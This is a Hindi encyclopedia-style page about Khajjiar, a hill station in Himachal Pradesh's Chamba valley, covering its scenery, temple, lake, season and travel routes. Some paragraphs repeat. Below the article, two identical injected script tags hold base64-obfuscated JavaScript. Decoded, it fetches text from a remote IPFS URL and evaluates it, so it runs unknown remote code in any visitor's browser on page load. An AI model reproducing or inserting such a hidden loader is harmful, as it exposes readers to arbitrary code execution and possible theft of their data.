खज्जियार

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:30, 7 मई 2013 का अवतरण (''''खज्जियार''' हिमाचल प्रदेश की चम्बा वैली में स्थित ...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

खज्जियार हिमाचल प्रदेश की चम्बा वैली में स्थित एक मनमोहक पहाड़ी स्थान है। चीड़ और देवदार के ऊँचे-लंबे, हरे-भरे पेड़ों के बीच बसा खज्जियार दुनिया के 160 मिनी स्विटजरलैंड में से एक है। यहाँ आकर पर्यटकों को आत्मिक शांति और मानसिक सुकून मिलता है। यदि अप्रैल के बाद मई-जून की झुलसाने वाली गर्मी से छुटकारा पाना हो तो यह स्थान पर्यटकों के लिए बिलकुल सपनों के शहर जैसा ही है। खज्जियार के मौसम में एक अलग ही मस्ती है, नजारों में अलग ही सौंदर्य है। यही कारण है कि आस-पास के लोग तो यहाँ पिकनिक मनाने के लिए आ ही जाते हैं, दूर-दूर से बार-बार आने वाले पर्यटकों की संख्या भी कम नहीं रहती।

खज्जियार यानी हिमाचल प्रदेश की चम्बा वैली में स्थित एक मनमोहक हिल स्टेशन है, जहाँ लोग खिंचे चले आते हैं। चीड़ और देवदार के वृक्षों के बीच स्थित इस मनोहारी हिल स्टेशन पर आकर पर्यटक बेहद शांति और सुकून का अनुभव करते हैं, क्योंकि यहाँ के एक अलग ही मस्ती है, नजारों में अलग ही सौंदर्य है। यही कारण है कि आसपास के लोग तो यहाँ पिकनिक मनाने के लिए तो आ ही जाते हैं। दूर दूर से बार बार आने वाले पर्यटकों की संख्या भी कम नहीं रहती।

दिल्ली से 508 किलोमीटर की दूरी पर स्थित खज्जियार दुनिया के 160 मिनी स्विट्जरलैंड में से एक माना जाता है। हज़ारों साल पुराने इस छोटे से हिल स्टेशन को खासकर खज्जी नागा मंदिर के लिए जाना जाता है। 10वीं शताब्दी का यह धार्मिक स्थल पहाड़ी अंदाज में बनाया गया है और यहाँ नागदेव की पूजा होती है। लेकिन पर्यटक तो मुख्य रूप से 1951 मीटर की ऊँचाई पर स्थित इस हिल स्टेशन आबोहवा का ही आनंद उठाने के लिए आते हैं। दिन भर तो मौसम सुहाना होता ही है, शाम ढलने पर यहाँ का मौसम कुछ इस कदर मनमोहक और रोमांचित करने वाला हो जाता है कि आप हल्के कपड़े पहनकर टहलने के लिए निकल पड़ेंगे।

चीड़ एवं देवदार के वृक्षों से ढके इस ढलवे मैदानी क्षेत्र के मध्य में एक लेक भी है, जिसे खजियार लेक कहा जाता है। पर्यटकों के आकर्षण का मुख्य केंद्र भी यही लेक है। लेक के बीच में टापूनुमा दो जगह हैं, जहाँ पहुँचकर पर्यटक और रोमांचित हो जाता है। शायद इस जगह की इन्हीं विशेषताओं के कारण चम्बा के तत्कालीन राजा ने इसे अपनी राजधानी बनाया था। गर्मियों में मौसम बेहद सुहावना रहता है। यहाँ के लिए अप्रैल से जून का मौसम बेहतरीन माना जाता है। इस मौसम में यहाँ तरह तरह के रोमांचक खेलों का भी आयोजन किया जाता है। अगर आप गोल्फ के शौकीन हैं तो आपके लिए यह हिल स्टेशन और भी बेहतर है।

यह पर्यटन स्थल छोटा भले ही है, लेकिन लोकप्रियता मे बड़े बड़े हिल स्टेशनों से कम नहीं है। इसीलिए यहाँ पहुँचने में भी आपको कोई परेशानी नहीं होगी। चम्बा और डलहोजी से बस से आप सिर्फ आधे घंटे में यहाँ पहुँच सकते हैं। शिमला तक रेल और हवाई मार्ग से भी जा सकते हैं। जिसके आगे बस या टैक्सी का उपयोग कर आप अपनी यात्रा को यादगार बना सकते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>